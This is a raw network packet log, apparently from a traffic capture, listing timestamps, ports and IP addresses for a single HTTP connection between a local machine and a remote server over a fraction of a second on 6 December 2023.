Dec 6, 2023 14:33:03.603761911 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603785992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603790998 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.603805065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603827953 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.603847980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603880882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603899002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.603902102 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.603941917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.604631901 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604650021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604692936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.604708910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604752064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604768991 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604787111 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604799032 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.604826927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.604830980 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.605556965 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605604887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605608940 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.605623960 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605640888 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605664968 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.605675936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605720997 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.605727911 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605746984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.605792046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.606483936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606631994 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606651068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606668949 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606682062 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.606708050 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.606744051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606761932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606779099 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606796026 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.606800079 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.606833935 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.607551098 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607568026 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607605934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607610941 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.607650995 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607695103 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.607697964 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607717037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607750893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.607763052 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.608464003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608480930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608510017 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.608532906 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608551979 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608568907 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608576059 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.608611107 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.608618021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608637094 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.608675003 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.609416008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609432936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609450102 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609467983 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609478951 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.609486103 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609502077 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.609504938 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609539986 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.609561920 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.610335112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610353947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610371113 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610384941 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.610399008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610411882 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.610419989 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610465050 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.610475063 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610492945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.610532045 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.611341953 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611360073 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611377001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611408949 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.611428022 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611445904 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611463070 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611471891 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.611481905 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.611505985 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.612221003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612237930 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612261057 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612277031 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.612287045 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612294912 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.612334967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612353086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612370014 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.612380028 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.612411022 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.613152027 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613169909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613188028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613204002 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613219023 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.613221884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613241911 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613250017 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.613260031 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.613281965 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.614080906 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614099026 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614115000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614132881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614136934 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.614155054 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.614171982 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614204884 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614216089 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.614237070 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614283085 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.614962101 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614979029 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.614996910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615024090 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.615072966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615091085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615108013 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615118980 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.615124941 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615147114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.615906000 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.615977049 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.616043091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616060972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616094112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616101980 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.616146088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616163969 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616180897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616189003 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.616199017 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616224051 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.616954088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.616998911 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617007017 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.617017984 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617057085 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.617072105 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617089987 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617122889 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617134094 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.617163897 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.617208958 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.617990971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618009090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618026018 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618041992 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618051052 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.618062019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618078947 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618086100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.618098021 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618122101 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.618853092 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618897915 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618907928 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.618963957 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618980885 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.618998051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619009018 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.619023085 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619040966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619048119 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.619081974 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.619748116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619793892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619811058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619837046 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.619856119 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619874001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619890928 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619899988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.619925976 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.619951963 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.620690107 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620707035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620742083 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620745897 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.620760918 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620779037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620793104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.620796919 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620821953 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.620831966 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.620877028 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.621623993 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621670008 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621715069 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.621715069 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621735096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621752024 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621767044 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621778965 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.621787071 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.621809006 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.622554064 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622571945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622602940 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.622616053 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622632980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622659922 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.622665882 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622699976 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622710943 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.622716904 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.622761011 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.623505116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623522043 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623538971 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623564005 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.623594046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623611927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623629093 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623636007 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.623650074 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.623671055 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.624460936 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624479055 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624509096 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.624533892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624552011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624577999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.624583960 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624603033 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624629974 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.624635935 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.624680996 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.625423908 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625695944 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625740051 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625744104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.625758886 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625777006 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625801086 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.625811100 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625828981 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625845909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.625849962 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.625883102 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.626386881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626429081 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626447916 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626466990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626477003 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.626485109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626502037 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.626502037 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626521111 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.626543999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.627321959 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627362967 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627368927 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.627381086 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627398968 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627417088 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627429008 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.627456903 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.627473116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627490997 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.627532959 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.628268003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628287077 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628326893 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628329992 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.628345013 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628362894 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628380060 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628391981 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.628405094 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.628432035 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.629174948 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629193068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629223108 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629224062 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.629261017 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629267931 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.629280090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629297972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629314899 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.629327059 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.629359007 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.630105019 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630121946 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630139112 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630165100 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.630197048 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630213976 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630240917 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.630247116 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630280972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.630292892 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.631048918 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631064892 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631088972 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631103039 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.631113052 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631129980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631134987 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.631148100 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631165028 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631170988 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.631210089 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.631978035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.631994963 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632010937 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632035971 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.632066011 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632082939 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632101059 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632105112 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.632145882 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.632147074 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632882118 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632899046 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632929087 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.632930040 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632949114 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.632970095 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.632973909 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.633008003 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.633024931 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.633028030 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.633065939 CET	49706	80	192.168.2.5	104.21.73.195
